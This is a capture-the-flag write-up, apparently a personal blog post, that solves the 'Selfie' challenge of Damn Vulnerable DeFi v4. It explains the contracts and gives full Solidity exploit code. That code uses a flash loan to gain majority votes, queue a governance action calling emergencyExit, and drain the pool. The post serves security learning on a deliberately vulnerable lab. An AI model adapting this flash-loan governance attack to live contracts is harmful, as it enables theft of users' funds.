Challenge 6: Selfie, Damn vulnerable defi V4 lazy solutions series
Why Lazy?
I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.
Problem statement:
Save the world, you're batman🦇.
The Smart Contracts
DamnValuableVotes.sol
: It's ERC20 smart contract inherited fromERC20
,ERC20Permit
andERC20Votes
. ERC20 Votes does not actually handle conducting the poll, it’s still a regular ERC20 token with snapshot and delegated voting abilities. Voting is usually handled by governance contracts.For better understandings of votes please refer this,
https://www.rareskills.io/post/erc20-votes-erc5805-and-erc6372
SimpleGovernance.sol
: The Simple Governance contract is at the heart of the governance mechanism. It allows users to propose and queue actions to be executed. These actions include specifying a target address, value, and data to be executed. However, these actions can only be executed if certain conditions are met, such as having enough votes from the governance token holders (at least 50% of total supply) and a time delay of 2 days since the action was proposedSelfiePool.sol
: The contract’s primary function is to provide flash loans for a specific ERC-20 token. Users can borrow tokens as long as they implement theIERC3156FlashBorrower
interface. It’s equipped with a safety mechanism that allows the governance to drain funds from the pool in case of emergencies, it ensures that only the governance contract can trigger this emergency exit feature
Attack Strategy
Now, let’s discuss how we can exploit this setup to achieve our objective of acquiring all the DVT tokens.
We notice that the governance mechanism allows the execution of actions, including the
emergencyExit
function in the pool contract. However, theemergencyExit
function can only be called by the governance contract itself.We need to create an action in the governance in order to execute the
emergencyExit
function with our parameters.In order to
queueAction
we need at least 50% of the DVT tokens supply, which we don't have.We can utilize the flash loan function in the
SelfiePool.sol
contract to borrow a significant amount of DVT tokens without collateral which will be enough to queue actions. This is our entry point for the exploit.
Solution
Let's code it,
test/selfie/SelfieExploiter.sol
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {SimpleGovernance} from "../../src/selfie/SimpleGovernance.sol";
import {SelfiePool} from "../../src/selfie/SelfiePool.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {DamnValuableVotes} from "../../src/DamnValuableVotes.sol";
contract SelfieExploiter is IERC3156FlashBorrower{
SelfiePool selfiePool;
SimpleGovernance simpleGovernance;
DamnValuableVotes damnValuableToken;
uint actionId;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
constructor(
address _selfiePool,
address _simpleGovernance,
address _token
){
selfiePool = SelfiePool(_selfiePool);
simpleGovernance = SimpleGovernance(_simpleGovernance);
damnValuableToken = DamnValuableVotes(_token);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32){
damnValuableToken.delegate(address(this));
uint _actionId = simpleGovernance.queueAction(
address(selfiePool),
0,
data
);
actionId = _actionId;
IERC20(token).approve(address(selfiePool), amount+fee);
return CALLBACK_SUCCESS;
}
function exploitSetup(address recovery) external returns(bool){
uint amountRequired = 1_500_000e18;
bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
require(selfiePool.flashLoan(IERC3156FlashBorrower(address(this)), address(damnValuableToken), amountRequired, data));
return true;
}
function exploitCloseup() external returns(bool){
bytes memory resultData = simpleGovernance.executeAction(actionId);
return true;
}
}
Here, damnValuableToken.delegate(address(this));
is required to cast their vote as,
It is important to note that an address must delegate to itself before its votes are counted. This quirk is introduced for gas efficiency reasons.
test/selfie/Selfie.t.sol
function test_selfie() public checkSolvedByPlayer {
SelfieExploiter exploiter = new SelfieExploiter(
address(pool),
address(governance),
address(token)
);
require(exploiter.exploitSetup(address(recovery)));
vm.warp(block.timestamp + 2 days);
require(exploiter.exploitCloseup());
}
See it in action,
forge test --mp test/selfie/Selfie.t.sol
Succeed!🔥💸
Incase if you need all solutions,
https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions
Subscribe to my newsletter
Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Siddharth Patel
Siddharth Patel
I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.